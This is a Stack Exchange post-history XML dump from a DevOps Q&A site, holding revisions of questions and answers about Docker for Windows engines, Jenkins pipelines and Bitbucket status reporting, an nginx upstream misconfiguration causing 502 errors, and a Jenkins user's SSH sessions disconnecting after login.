  <row Id="20917" PostHistoryTypeId="2" PostId="6577" RevisionGUID="368f7bb8-7c60-4861-b77e-0335e991eac5" CreationDate="2019-03-11T10:43:40.497" UserId="12834" Text="`&#xD;&#xA;C:\Users\romain.prevost&gt;docker info  -f '{{.OSType}}/{{.Architecture}}'&#xD;&#xA;'linux/x86_64'&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;Now, if you are running Docker for Windows, right click the Docker icon in your tray, and select &quot;Switch to windows containers&quot;&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;C:\Users\romain.prevost&gt;docker info  -f '{{.OSType}}/{{.Architecture}}'&#xD;&#xA;'windows/x86_64'&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;Voilà! Essentially, Docker for Windows includes two different engines : Linux in a VM, and Windows, natively on your windows kernel. But soon, there will be options to run Linux containers natively on the Windows kernel. Exciting times!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20918" PostHistoryTypeId="5" PostId="6576" RevisionGUID="387ae861-1b5b-4f6b-8abc-26680637b9fb" CreationDate="2019-03-11T10:59:47.413" UserId="5251" Comment="deleted 2 characters in body" Text="To run windows container you need a windows docker engine.&#xD;&#xA;Have a look to this answer: https://stackoverflow.com/questions/42158596/can-windows-containers-be-hosted-on-linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="20920" PostHistoryTypeId="5" PostId="6562" RevisionGUID="b5634b25-5eb5-4aea-85a4-1088f8372ceb" CreationDate="2019-03-11T15:05:10.263" UserId="12524" Comment="Correction to (I suspect) Autocorrect's attempt at spelling this. " Text="Well in my opinion since the DevOps culture is derived from, or you could say appeared because of, the Agile software development methods &#xD;&#xA;&#xD;&#xA; &#xD;&#xA; &#xD;&#xA; &#xD;&#xA; - I would ask if the company is following any agile software methods or else you would be just the release guy &#xD;&#xA; &#xD;&#xA; &#xD;&#xA; &#xD;&#xA; - Also i would ask how I will be working as part of the dev team like i will be assigned to one project team or i will be working with all the teams &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA; - also it would be great to know the current situation like they are currently facing urgent problem and need fix now , what's their current stack , and also ask about their current workflows in git and in developement and try to find a way to solve the issue to make everything go smoothly  &#xD;&#xA; &#xD;&#xA; - Also what really appears on paper is the workflows like git workflows how often you release cause automating parts like delivery......etc really means less time and better quality and that will appears on paper even for the business guys &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But at the end if the day every company is different than any other and every situation is different than the other so it's all back to your judgement to be comfortable in your daily job  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20921" PostHistoryTypeId="24" PostId="6562" RevisionGUID="b5634b25-5eb5-4aea-85a4-1088f8372ceb" CreationDate="2019-03-11T15:05:10.263" Comment="Proposed by 12524 approved by -1 edit id of 955" ContentLicense="CC BY-SA 4.0" />
  <row Id="20922" PostHistoryTypeId="5" PostId="6562" RevisionGUID="448a59f8-ff85-40b2-9d15-cbc68c21e82f" CreationDate="2019-03-11T15:05:10.263" UserId="40" Comment="deleted 44 characters in body" Text="In my opinion since the DevOps culture is derived from, or you could say appeared because of, the Agile software development methods&#xD;&#xA; &#xD;&#xA;- I would ask if the company is following any agile software methods or else you would be just the release guy &#xD;&#xA;&#xD;&#xA;- Also I would ask how I will be working as part of the dev team like I will be assigned to one project team or I will be working with all the teams &#xD;&#xA;&#xD;&#xA;- also it would be great to know the current situation like they are currently facing urgent problem and need fix now , what's their current stack , and also ask about their current workflows in git and in developement and try to find a way to solve the issue to make everything go smoothly  &#xD;&#xA; &#xD;&#xA;- Also what really appears on paper is the workflows like git workflows how often you release cause automating parts like delivery......etc really means less time and better quality and that will appears on paper even for the business guys &#xD;&#xA;&#xD;&#xA;But at the end if the day every company is different than any other and every situation is different than the other so it's all back to your judgement to be comfortable in your daily job." ContentLicense="CC BY-SA 4.0" />
  <row Id="20923" PostHistoryTypeId="2" PostId="6579" RevisionGUID="8ebe54b3-1e4c-4552-a566-00b02019c1f9" CreationDate="2019-03-11T15:35:47.680" UserId="228" Text="Well, there is a bit of a mixed terminology here and term transfer. Jenkins is using the word **Job** to mean *automation task* and **Build** to mean single *execution of the automation task* at the current state of system and possibly some variables as input. Traditionally a **Build** is a substitute term used for any process that produces **Derived Objects** (see my answer [here][1]) and this mixing of terms leads often to confusion in the entire CI/CD process that I've tried to explain [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/470/228&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/4954/228" ContentLicense="CC BY-SA 4.0" />
  <row Id="20924" PostHistoryTypeId="4" PostId="5173" RevisionGUID="f04df367-2ee1-4bfd-ac8a-3d10fdb84973" CreationDate="2019-03-11T21:24:46.657" UserId="210" Comment="edited title" Text="How to retrigger a Jenkins build after failure using declarative syntax?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20925" PostHistoryTypeId="6" PostId="5173" RevisionGUID="f04df367-2ee1-4bfd-ac8a-3d10fdb84973" CreationDate="2019-03-11T21:24:46.657" UserId="210" Comment="edited title" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20926" PostHistoryTypeId="5" PostId="5173" RevisionGUID="f04df367-2ee1-4bfd-ac8a-3d10fdb84973" CreationDate="2019-03-11T21:24:46.657" UserId="210" Comment="edited title" Text="I am using declarative pipeline syntax. I want to re trigger my build for 3 times if it fails. I want to add this step in my pipeline may be in post step:&#xD;&#xA;Something like below:&#xD;&#xA;&#xD;&#xA;    post { &#xD;&#xA;        failure{ &#xD;&#xA;            retrigger //try for 3 times atleast&#xD;&#xA;        }&#xD;&#xA;    } " ContentLicense="CC BY-SA 4.0" />
  <row Id="20928" PostHistoryTypeId="2" PostId="6580" RevisionGUID="4442a1f3-941b-4829-8ab9-7ea66402bdf6" CreationDate="2019-03-11T23:27:47.390" UserId="6282" Text="I have a React application where a user can enter in some number, there is an algorithm that runs some calculation and spits out a result, but before we get there, Nginx is looking at the request and deciding whether to route it to React or Express server.&#xD;&#xA;&#xD;&#xA;Well when the number is submitted, there is an xhr request that remains pending until it just times out with a 502 bad gateway error.&#xD;&#xA;&#xD;&#xA;All this is happening inside of a Docker container.&#xD;&#xA;&#xD;&#xA;I ran a `docker logs &lt;container-id&gt;` and kept seeing this:&#xD;&#xA;&#xD;&#xA;    upstream server temporarily disabled while connecting to upstream&#xD;&#xA;&#xD;&#xA;I thought it might be a typo in my Express server or in my worker process or even in the React application but I find none, so I am left wondering if the issue has to do with how I built my `default.conf` file:&#xD;&#xA;&#xD;&#xA;    upstream client {&#xD;&#xA;        server client:3000;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    upstream api {&#xD;&#xA;        server server:5000;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;        listen 80;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass http://client;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        location /sockjs-node {&#xD;&#xA;            proxy_pass http://client;&#xD;&#xA;            proxy_http_version 1.1;&#xD;&#xA;            proxy_set_header Upgrade $http_upgrade;&#xD;&#xA;            proxy_set_header Connection &quot;Upgrade&quot;;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        location /api {&#xD;&#xA;            rewrite /api/(.*) /$1 break;&#xD;&#xA;            proxy_pass http://api;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I feel like my knowledge of Nginx configurations and upstream is limited to where something may not be correct about this setup. After running for awhile the whole application crashed.&#xD;&#xA;&#xD;&#xA;To get this configuration to override the default `default.conf` inside of Nginx I setup a `Dockerfile.dev` inside of `nginx/` folder:&#xD;&#xA;&#xD;&#xA;    FROM nginx&#xD;&#xA;    COPY ./default.conf /etc/nginx/conf.d/default.conf&#xD;&#xA;&#xD;&#xA;The application overall is using this `docker-compose.yml` file:&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      postgres:&#xD;&#xA;        image: &quot;postgres:latest&quot;&#xD;&#xA;      redis:&#xD;&#xA;        image: &quot;redis:latest&quot;&#xD;&#xA;      nginx:&#xD;&#xA;        restart: always&#xD;&#xA;        build:&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;          context: ./nginx&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3050:80&quot;&#xD;&#xA;      api:&#xD;&#xA;        build:&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;          context: ./server&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - ./server:/app&#xD;&#xA;        environment:&#xD;&#xA;          - REDIS_HOST=redis&#xD;&#xA;          - REDIS_PORT=6379&#xD;&#xA;          - PGUSER=postgres&#xD;&#xA;          - PGHOST=postgres&#xD;&#xA;          - PGDATABASE=postgres&#xD;&#xA;          - PGPASSWORD=postgres_password&#xD;&#xA;          - PGPORT=5432&#xD;&#xA;      client:&#xD;&#xA;        build:&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;          context: ./client&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - ./client:/app&#xD;&#xA;      worker:&#xD;&#xA;        build:&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;          context: ./worker&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - ./worker:/app&#xD;&#xA;&#xD;&#xA;I am also wondering if the `default.conf` file is fine, but its my Express API that is taking too long to respond.&#xD;&#xA;&#xD;&#xA;Then towards the bottom of the `docker-compose.yml` file I added some Redis environment variables I thought it may have needed below `worker`:&#xD;&#xA;&#xD;&#xA;     worker:&#xD;&#xA;        build:&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;          context: ./worker&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - ./worker:/app&#xD;&#xA;        environment:&#xD;&#xA;          - REDIS_HOST=redis&#xD;&#xA;          - REDIS_PORT=6379&#xD;&#xA;&#xD;&#xA;I rebuilt the image with `docker-compose up --build` and restarted the application, and I can see the previous xhr requests still pending and they still give me a 502 and 504 error after a non-zero amount of time pending." ContentLicense="CC BY-SA 4.0" />
  <row Id="20929" PostHistoryTypeId="1" PostId="6580" RevisionGUID="4442a1f3-941b-4829-8ab9-7ea66402bdf6" CreationDate="2019-03-11T23:27:47.390" UserId="6282" Text="Nginx routing setup within Docker container, request timing out with 502" ContentLicense="CC BY-SA 4.0" />
  <row Id="20930" PostHistoryTypeId="3" PostId="6580" RevisionGUID="4442a1f3-941b-4829-8ab9-7ea66402bdf6" CreationDate="2019-03-11T23:27:47.390" UserId="6282" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20931" PostHistoryTypeId="2" PostId="6581" RevisionGUID="a99608be-59b0-4989-928b-666e52579584" CreationDate="2019-03-11T23:44:36.910" UserId="6282" Text="You will notice in this upstream block:&#xD;&#xA;&#xD;&#xA;    upstream api {&#xD;&#xA;        server server:5000;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I called it `api` but then I say `server server:5000;`. That was the problem because I originally had it as:&#xD;&#xA;&#xD;&#xA;    upstream server {&#xD;&#xA;        server server:5000;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;but then thought that `server` might be a reserved operator in the Nginx world so I changed it to `api` but did not change it inside the block.&#xD;&#xA;&#xD;&#xA;So it should have been:&#xD;&#xA;&#xD;&#xA;    upstream api {&#xD;&#xA;        server api:5000;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;After changing it, the xhr pending and timing out 502 errors went away." ContentLicense="CC BY-SA 4.0" />
  <row Id="20932" PostHistoryTypeId="2" PostId="6582" RevisionGUID="643d10da-e895-408f-b440-9bd8ef12458b" CreationDate="2019-03-12T00:05:40.607" UserId="210" Text="[Based on this PR][1], the `repoSlug` was added and now the status is sent to the right repository.&#xD;&#xA;&#xD;&#xA;When it was not working:&#xD;&#xA;&#xD;&#xA;        post {&#xD;&#xA;            success {&#xD;&#xA;                bitbucketStatusNotify(&#xD;&#xA;                        buildState: 'SUCCESSFUL',&#xD;&#xA;                        commitId: env.GIT_COMMIT&#xD;&#xA;                )&#xD;&#xA;            }&#xD;&#xA;            failure {&#xD;&#xA;                bitbucketStatusNotify(&#xD;&#xA;                        buildState: 'FAILED',&#xD;&#xA;                        commitId: env.GIT_COMMIT&#xD;&#xA;                )&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now it works:&#xD;&#xA;&#xD;&#xA;        post {&#xD;&#xA;            success {&#xD;&#xA;                bitbucketStatusNotify(&#xD;&#xA;                        buildState: 'SUCCESSFUL',&#xD;&#xA;                        repoSlug: pipelineParams.repoSlug,&#xD;&#xA;                        commitId: env.GIT_COMMIT&#xD;&#xA;                )&#xD;&#xA;            }&#xD;&#xA;            failure {&#xD;&#xA;                bitbucketStatusNotify(&#xD;&#xA;                        buildState: 'FAILED',&#xD;&#xA;                        repoSlug: pipelineParams.repoSlug,&#xD;&#xA;                        commitId: env.GIT_COMMIT&#xD;&#xA;                )&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;[The README in the Github repo emphasized that][2]:&#xD;&#xA;&#xD;&#xA;&gt; Note that the repoSlug and commitId parameters work only when they are&#xD;&#xA;&gt; both specified.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/bitbucket-build-status-notifier-plugin/pull/37&#xD;&#xA;  [2]: https://github.com/jenkinsci/bitbucket-build-status-notifier-plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="20933" PostHistoryTypeId="2" PostId="6583" RevisionGUID="2ebe45d1-2e1e-4f6d-be97-31e12edb5366" CreationDate="2019-03-12T01:50:15.020" UserId="210" Text="**Aim**&#xD;&#xA;&#xD;&#xA;The aim is to report the build status to bitbucket-cloud by jenkins multi-branch when a branch is built for the first time&#xD;&#xA;&#xD;&#xA;**Setup**&#xD;&#xA;&#xD;&#xA;[The Bitbucket Status Notifier plugin][1] has been configured. The status was reported, but since more and more jobs have been moved to Jenkins-on-steroids that is running on k8s, buildStats are not reported if a branch is built for the first time.&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;[This related issue][2] was found and [a comment was added][3] on Jenkins' Jira.&#xD;&#xA;&#xD;&#xA;As a workaround, this suggestion was tried, but it caused a couple of issues and it is not a permanent solution.&#xD;&#xA;&#xD;&#xA;&gt;     def call(buildId, jobName) {&#xD;&#xA;&gt;         if (&quot;${buildId}&quot; == &quot;1&quot;) {&#xD;&#xA;&gt;             build job: &quot;${jobName}&quot;, wait: false&#xD;&#xA;&gt;             currentBuild.result = 'ABORTED'&#xD;&#xA;&gt;             error(&quot;Skipping build ${buildId} as it doesn't play nice with bitbucket notifications&quot;)&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;**Questions**&#xD;&#xA;&#xD;&#xA;The question is twofold. &#xD;&#xA;&#xD;&#xA; - First, what other options are available to report build statuses from jenkins-on-steroids to **bitbucket-cloud** that also work if a build is run for the first time in a branch `(BUILD_ID==1)` if the [multi-branch plugin][4] is used?&#xD;&#xA; - Second, if the first question cannot be answered, what steps could be taken to solve the bug?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/bitbucket-build-status-notifier&#xD;&#xA;  [2]: https://issues.jenkins-ci.org/browse/JENKINS-40456&#xD;&#xA;  [3]: https://issues.jenkins-ci.org/browse/JENKINS-40456?focusedCommentId=362687&amp;page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-362687&#xD;&#xA;  [4]: https://wiki.jenkins.io/display/JENKINS/Pipeline+Multibranch+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="20934" PostHistoryTypeId="1" PostId="6583" RevisionGUID="2ebe45d1-2e1e-4f6d-be97-31e12edb5366" CreationDate="2019-03-12T01:50:15.020" UserId="210" Text="What options are available to report the build status of Jenkins Multi Pipeline's first branch build to bitbucket-cloud?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20935" PostHistoryTypeId="3" PostId="6583" RevisionGUID="2ebe45d1-2e1e-4f6d-be97-31e12edb5366" CreationDate="2019-03-12T01:50:15.020" UserId="210" Text="&lt;jenkins-pipeline&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20936" PostHistoryTypeId="4" PostId="6583" RevisionGUID="ed520152-80ea-4e4b-b03b-d4528deea85c" CreationDate="2019-03-12T01:56:15.433" UserId="210" Comment="edited tags; edited title" Text="What options are available to report the build status of Jenkins Multi Pipeline's first branch build on k8s to bitbucket-cloud?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20937" PostHistoryTypeId="6" PostId="6583" RevisionGUID="ed520152-80ea-4e4b-b03b-d4528deea85c" CreationDate="2019-03-12T01:56:15.433" UserId="210" Comment="edited tags; edited title" Text="&lt;kubernetes&gt;&lt;jenkins-pipeline&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20938" PostHistoryTypeId="5" PostId="6583" RevisionGUID="ed520152-80ea-4e4b-b03b-d4528deea85c" CreationDate="2019-03-12T01:56:15.433" UserId="210" Comment="edited tags; edited title" Text="**Background**&#xD;&#xA;&#xD;&#xA;[The Bitbucket Status Notifier plugin][1] has been configured. The status was reported, but since more and more jobs have been moved to Jenkins-on-steroids that is running on k8s, buildStats are not reported if a branch is built for the first time.&#xD;&#xA;&#xD;&#xA;**Aim**&#xD;&#xA;&#xD;&#xA;The aim is to report the build status to bitbucket-cloud by jenkins multi-branch when a branch is built for the first time.&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;[This related issue][2] was found and [a comment was added][3] on Jenkins' Jira.&#xD;&#xA;&#xD;&#xA;As a workaround, this suggestion was tried, but it caused a couple of issues and it is not a permanent solution.&#xD;&#xA;&#xD;&#xA;&gt;     def call(buildId, jobName) {&#xD;&#xA;&gt;         if (&quot;${buildId}&quot; == &quot;1&quot;) {&#xD;&#xA;&gt;             build job: &quot;${jobName}&quot;, wait: false&#xD;&#xA;&gt;             currentBuild.result = 'ABORTED'&#xD;&#xA;&gt;             error(&quot;Skipping build ${buildId} as it doesn't play nice with bitbucket notifications&quot;)&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;**Questions**&#xD;&#xA;&#xD;&#xA;The question is twofold. &#xD;&#xA;&#xD;&#xA; - First, what other options are available to report build statuses from jenkins-on-steroids to **bitbucket-cloud** that also work if a build is run for the first time in a branch `(BUILD_ID==1)` if the [multi-branch plugin][4] is used?&#xD;&#xA; - Second, if the first question cannot be answered, what steps could be taken to solve the bug?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/bitbucket-build-status-notifier&#xD;&#xA;  [2]: https://issues.jenkins-ci.org/browse/JENKINS-40456&#xD;&#xA;  [3]: https://issues.jenkins-ci.org/browse/JENKINS-40456?focusedCommentId=362687&amp;page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-362687&#xD;&#xA;  [4]: https://wiki.jenkins.io/display/JENKINS/Pipeline+Multibranch+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="20939" PostHistoryTypeId="2" PostId="6584" RevisionGUID="27cdd156-2cd6-4bdb-941f-6a23059c97a6" CreationDate="2019-03-12T02:43:30.707" UserId="12009" Text="Some old builds are failed in my jenkins job and i need to republish it again how to do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20940" PostHistoryTypeId="1" PostId="6584" RevisionGUID="27cdd156-2cd6-4bdb-941f-6a23059c97a6" CreationDate="2019-03-12T02:43:30.707" UserId="12009" Text="In jenkins how to republish old builds in a job?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20941" PostHistoryTypeId="3" PostId="6584" RevisionGUID="27cdd156-2cd6-4bdb-941f-6a23059c97a6" CreationDate="2019-03-12T02:43:30.707" UserId="12009" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20942" PostHistoryTypeId="2" PostId="6585" RevisionGUID="f60a4c03-d2cb-4a80-beeb-5d0587f09445" CreationDate="2019-03-12T03:12:01.773" UserId="228" Text="There are some source control systems that bill themselves as artifact management platforms as well (for example Perforce/Helix) and they try to support the mode of work. But git is especially bad at that. You would have to do a lot of work to make git support both development of code and management of artifacts efficiently. I'd suggest to not do that and use a different system for each. JFrog Artifactory for example is a great tool for that. Delivering code in containers and using docker hub for artifact store is another excellent way to do it. Even a bunch of upload/download scripts against S3 are better than storing your artifacts in git, as you might actively slow down the developer experience if you don't setup your solution exactly right." ContentLicense="CC BY-SA 4.0" />
  <row Id="20946" PostHistoryTypeId="2" PostId="6587" RevisionGUID="9345cc55-b82a-47a2-8919-49b65032546b" CreationDate="2019-03-12T08:06:19.653" UserId="6806" Text="If the job is a jenkins pipeline, open the failed build and select the `Replay` option. Otherwise select the `Rebuild` option." ContentLicense="CC BY-SA 4.0" />
  <row Id="20947" PostHistoryTypeId="5" PostId="6574" RevisionGUID="fe8d07cc-dee6-445e-8a9a-ccfca46c5b5a" CreationDate="2019-03-12T08:10:00.703" UserId="6806" Comment="added 8 characters in body" Text="It is important to understand the terms **Job** and **Build** from the jenkins standpoint.&#xD;&#xA;&#xD;&#xA;In Jenkins, a user creates **job(s) which is typically a configuration for running autonomous tasks**. A job could be a task for building/packaging software, creating artifacts, deploying artifacts, creating help files, etc. This configuration may change from time to time.&#xD;&#xA;&#xD;&#xA;Every time you run a job, Jenkins `compiles` the job configuration inside the project workspace to perform the defined steps. **Each run of this job is called as a build**. Since the environment around the job may change from build to build, any build may `Fail`(or become `Unstable`) during a run. Thus, the term - Build." ContentLicense="CC BY-SA 4.0" />
  <row Id="20948" PostHistoryTypeId="5" PostId="6574" RevisionGUID="bdc51b66-7dcc-4024-9685-0a24b0fe63ba" CreationDate="2019-03-12T08:21:12.883" UserId="6806" Comment="added 39 characters in body" Text="It is important to understand the terms **Job** and **Build** from the jenkins standpoint.&#xD;&#xA;&#xD;&#xA;In Jenkins, a user creates **job(s) which is typically a configuration for running autonomous tasks**. A job could be a task for building/packaging software, creating artifacts, deploying artifacts, creating help files, etc. This configuration may change from time to time.&#xD;&#xA;&#xD;&#xA;Every time you run a job, Jenkins `compiles` the job configuration inside the project workspace to perform the defined steps. **Each run of this job is called as a build** and each step is called a `build step`. Since the environment around the job may change from build to build, any build may `Fail`(or become `Unstable`) during a run. Thus, the term - Build." ContentLicense="CC BY-SA 4.0" />
  <row Id="20950" PostHistoryTypeId="2" PostId="6588" RevisionGUID="5b8bacb7-000d-4ffb-8d48-8ee2d151d01f" CreationDate="2019-03-12T08:55:21.600" UserId="12852" Text="I created a user for jenkins on my remote server that worked previously just fine, but now when I try to login with shh on the server the connection closes immediately after login. This is strange because on the website that is hosting jenkins it seem to work just fine, I can log there with chrome no problem and it evan builds succefully. My only problem is when I SSH with that user jenkins on the server.&#xD;&#xA;Will add here the ssh -v logs when I get disconnected:&#xD;&#xA;&#xD;&#xA;    debug1: client_input_channel_req: channel 0 rtype exit-signal reply 0&#xD;&#xA;    debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0&#xD;&#xA;    Last login: Tue Mar 12 09:21:23 2019 from 82.78.220.8&#xD;&#xA;    debug1: channel 0: free: client-session, nchannels 1&#xD;&#xA;    Connection to 145.239.84.136 closed.&#xD;&#xA;    Transferred: sent 2652, received 3604 bytes, in 0.5 seconds&#xD;&#xA;    Bytes per second: sent 5268.4, received 7159.7&#xD;&#xA;    debug1: Exit status -1&#xD;&#xA;This is what I get after I insert the password. &#xD;&#xA;&#xD;&#xA;I will also post the sshd logs:&#xD;&#xA;&#xD;&#xA;    Accepted password for jenkins from 82.78.220.8 port 40872 ssh2&#xD;&#xA;    pam_unix(sshd:session): session opened for user jenkins by (uid=0)&#xD;&#xA;    Received disconnect from 82.78.220.8 port 40872:11: disconnected by user&#xD;&#xA;    Disconnected from 82.78.220.8 port 40872&#xD;&#xA;    pam_unix(sshd:session): session closed for user jenkins&#xD;&#xA;&#xD;&#xA;I have this setup in the passwd:&#xD;&#xA;&#xD;&#xA;    jenkins:x:113:118:Jenkins,,,:/var/lib/jenkins:/bin/bash&#xD;&#xA;&#xD;&#xA;I have to add that I can ssh with other users on the server just fine.&#xD;&#xA;I also tryed to **su jenkins** from root: This will just freeze my terminal and will open something like this:&#xD;&#xA;&#xD;&#xA;    jenkins@vps531680:/root$ root@vps531680:~# root@vps531680:~# logout&#xD;&#xA;&#xD;&#xA;and I will get disconnected.&#xD;&#xA;&#xD;&#xA;I also tryed this **sudo usermod -s /bin/bash jenkins**:&#xD;&#xA;&#xD;&#xA;    bash: /root/.bashrc: Permission denied&#xD;&#xA;    jenkins@vps531680:~$ Killed&#xD;&#xA;&#xD;&#xA;On the weird side is that if I just reboot the server, for like 5-10 mins after that my jenkins user works just fine, but I will get disconnected after that time and I won't be able to SSH again, only after another reboot and for 5-10 mins. Any advice will be apreciated!&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="20951" PostHistoryTypeId="1" PostId="6588" RevisionGUID="5b8bacb7-000d-4ffb-8d48-8ee2d151d01f" CreationDate="2019-03-12T08:55:21.600" UserId="12852" Text="Jenkins SSH connection on remote server immediately closes after login" ContentLicense="CC BY-SA 4.0" />
  <row Id="20952" PostHistoryTypeId="3" PostId="6588" RevisionGUID="5b8bacb7-000d-4ffb-8d48-8ee2d151d01f" CreationDate="2019-03-12T08:55:21.600" UserId="12852" Text="&lt;jenkins&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20953" PostHistoryTypeId="2" PostId="6589" RevisionGUID="ae9de8ca-2450-4f3c-bc2a-e3b4a43ca2a4" CreationDate="2019-03-12T09:08:34.393" UserId="12225" Text="1. you can use terraform to install helm charts, you dont have to obviously&#xD;&#xA;2. something is probably wrong with your kubernetes connection, check if its actually working" ContentLicense="CC BY-SA 4.0" />
  <row Id="20965" PostHistoryTypeId="5" PostId="6583" RevisionGUID="07c9a1fc-a3b3-479c-8983-55aa0f26f49f" CreationDate="2019-03-12T10:36:39.627" UserId="210" Comment="added 2 characters in body" Text="**Background**&#xD;&#xA;&#xD;&#xA;[The Bitbucket Status Notifier plugin][1] has been configured. The status was reported, but since more and more jobs have been moved to Jenkins-on-steroids that is running on k8s, buildStats are not reported if a branch is built for the first time.&#xD;&#xA;&#xD;&#xA;**Aim**&#xD;&#xA;&#xD;&#xA;The aim is to report the build status to bitbucket-cloud by jenkins multi-branch when a branch is built for the first time.&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;[This related issue][2] was found and [a comment was added][3] on Jenkins' Jira.&#xD;&#xA;&#xD;&#xA;As a workaround, this suggestion was tried, but it caused a couple of issues and it is not a permanent solution.&#xD;&#xA;&#xD;&#xA;&gt;     def call(buildId, jobName) {&#xD;&#xA;&gt;         if (&quot;${buildId}&quot; == &quot;1&quot;) {&#xD;&#xA;&gt;             build job: &quot;${jobName}&quot;, wait: false&#xD;&#xA;&gt;             currentBuild.result = 'ABORTED'&#xD;&#xA;&gt;             error(&quot;Skipping build ${buildId} as it doesn't play nice with bitbucket notifications&quot;)&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;**Questions**&#xD;&#xA;&#xD;&#xA;The question is twofold. &#xD;&#xA;&#xD;&#xA; - First, what other options are available to report build statuses from jenkins-on-steroids to **bitbucket-cloud** that also work if a build is run for the first time in a branch `(BUILD_ID==1)` if the [multi-branch plugin][4] is used?&#xD;&#xA; - Second, if the first question cannot be answered, what steps could be taken to solve the bug?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/bitbucket-build-status-notifier&#xD;&#xA;  [2]: https://issues.jenkins-ci.org/browse/JENKINS-40456&#xD;&#xA;  [3]: https://issues.jenkins-ci.org/browse/JENKINS-40456?focusedCommentId=318401&amp;page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel#comment-318401&#xD;&#xA;  [4]: https://wiki.jenkins.io/display/JENKINS/Pipeline+Multibranch+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="20967" PostHistoryTypeId="5" PostId="6587" RevisionGUID="d07cf833-5748-4e92-8d42-6042c97e1b1c" CreationDate="2019-03-12T12:05:49.457" UserId="6806" Comment="adding screenshot samples" Text="If the job is a jenkins pipeline, open the failed build and select the `Replay` option. Otherwise select the `Rebuild` option.&#xD;&#xA;&#xD;&#xA;*Sample Replay Option*:&#xD;&#xA;[![Replay Option for Jenkins pipeline job][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Sample Rebuild Option*:&#xD;&#xA;[![Rebuild Option for Jenkins non-pipeline jobs][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/MkwHB.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/G6hco.png" ContentLicense="CC BY-SA 4.0" />
